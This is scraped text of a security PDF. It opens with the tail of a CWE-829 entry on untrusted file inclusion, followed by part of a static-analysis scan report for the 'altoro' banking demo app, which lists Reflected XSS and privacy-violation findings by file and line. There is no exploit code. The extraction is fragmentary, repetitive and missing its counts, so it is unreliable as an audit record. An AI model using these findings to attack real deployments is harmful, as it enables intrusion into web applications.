This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also
reduce your attack surface.
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment
variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the
application. Remember that such inputs may be obtained indirectly through API calls.
Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.
Phase: Operation
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a
third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.
An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using
malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject
or modify legitimate requests. Finally, some manual effort may be required for customization.
Relationships
ChildOf Weakness 669Incorrect Resource Transfer Between Spheres Development Concepts (primary)699
Class Research Concepts (primary)1000
ChildOf Category 813OWASP Top Ten 2010 Category A4 - Insecure Direct Object Weaknesses in OWASP Top Ten (2010) (primary)809
References
PAGE 100 OF 101

ChildOf Category 8642011 Top 25 - Insecure Interaction Between Components Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous
Software Errors (primary)900
ParentOf Weakness 98 Improper Control of Filename for Include/Require Statement in PHP Research Concepts (primary)1000
Base Program ('PHP File Inclusion')
ParentOf Weakness 827Improper Control of Document Type Definition Research Concepts1000
Base
ParentOf Weakness 830Inclusion of Web Functionality from an Untrusted Source Development Concepts (primary)699
175 Code Inclusion
253 Remote Code Inclusion
101 Server Side Include (SSI) Injection
251 Local Code Inclusion
252 PHP Local File Inclusion
38 Leveraging/Manipulating Configuration File Search Paths
103 Clickjacking
181 Flash File Overlay
222 iFrame Overlay
185 Malicious Software Download
186 Malicious Software Update
187 Malicious Automated Software Update
111 JSON Hijacking (aka JavaScript Hijacking)
184 Software Integrity Attacks
35 Leverage Executable Code in Nonexecutable Files
References
[R.829.1] [REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[R.829.2] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
Content History
Submissions
MITRE Internal CWE
Team
Modifications
Date
updated Common_Consequences
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, Potential_Mitigations, Related_Attack_Patterns,
Relationships
updated Potential_Mitigations, References, Relationships
Back to top
PAGE 101 OF 101

Altoro PDF

Uploaded by

Document Information

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Altoro PDF

Uploaded by

Copyright:

Available Formats

altoro Scan Report

Project Name altoro

Result Summary Most Vulnerable Files

Results Distribution By State

High Medium Low Information Total

10 Most Vulnerable Files

File Name Issues Found

Reflected XSS All Clients

Reflected XSS All Clients\Path 2:

Reflected XSS All Clients\Path 3:

Reflected XSS All Clients\Path 4:

Reflected XSS All Clients\Path 5:

Reflected XSS All Clients\Path 6:

Reflected XSS All Clients\Path 7:

Reflected XSS All Clients\Path 8:

Reflected XSS All Clients\Path 9:

Reflected XSS All Clients\Path 10:

Reflected XSS All Clients\Path 11:

Reflected XSS All Clients\Path 12:

Reflected XSS All Clients\Path 13:

Reflected XSS All Clients\Path 14:

Reflected XSS All Clients\Path 15:

Reflected XSS All Clients\Path 16:

Reflected XSS All Clients\Path 17:

Reflected XSS All Clients\Path 18:

Reflected XSS All Clients\Path 19:

Reflected XSS All Clients\Path 20:

Reflected XSS All Clients\Path 21:

Reflected XSS All Clients\Path 22:

Reflected XSS All Clients\Path 23:

Reflected XSS All Clients\Path 24:

Reflected XSS All Clients\Path 25:

Client DOM XSS

Method "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> at line 96 of \altoro\high_yield_investments.htm

Method import="com.ibm.security.appscan.altoromutual.model.Transaction"%> at line 19 of \altoro\bank\balance.jsp

Method import="com.ibm.security.appscan.altoromutual.model.Transaction"%> at line 23 of \altoro\bank\balance.jsp

Method import="com.ibm.security.appscan.altoromutual.model.Transaction"%> at line 26 of \altoro\bank\balance.jsp

Method import="com.ibm.security.appscan.altoromutual.model.Transaction"%> at line 26 of \altoro\bank\balance.jsp

Method import="com.ibm.security.appscan.altoromutual.model.Transaction"%> at line 28 of \altoro\bank\balance.jsp

Method import="com.ibm.security.appscan.altoromutual.model.Transaction"%> at line 52 of \altoro\bank\balance.jsp

Method import="com.ibm.security.appscan.altoromutual.model.Transaction"%> at line 52 of \altoro\bank\balance.jsp

Method import="com.ibm.security.appscan.altoromutual.model.Transaction"%> at line 21 of \altoro\bank\balance.jsp

Method import="com.ibm.security.appscan.altoromutual.model.Transaction"%> at line 23 of \altoro\bank\balance.jsp

Privacy Violation\Path 10:

Method import="com.ibm.security.appscan.altoromutual.model.Transaction"%> at line 29 of \altoro\bank\balance.jsp

Privacy Violation\Path 11:

Privacy Violation\Path 12:

Privacy Violation\Path 13:

Privacy Violation\Path 14:

Method import="java.text.SimpleDateFormat"%> at line 28 of \altoro\bank\transaction.jsp sends user information

Method import="java.text.SimpleDateFormat"%> at line 28 of \altoro\bank\transaction.jsp sends user information

Privacy Violation\Path 16:

Method import="java.text.SimpleDateFormat"%> at line 28 of \altoro\bank\transaction.jsp sends user information

Privacy Violation\Path 17:

Method import="java.text.SimpleDateFormat"%> at line 28 of \altoro\bank\transaction.jsp sends user information

Privacy Violation\Path 18:

Method import="java.text.SimpleDateFormat"%> at line 117 of \altoro\bank\transaction.jsp sends user information

Privacy Violation\Path 19:

Privacy Violation\Path 20:

Privacy Violation\Path 21:

Privacy Violation\Path 22:

Privacy Violation\Path 23:

Privacy Violation\Path 24: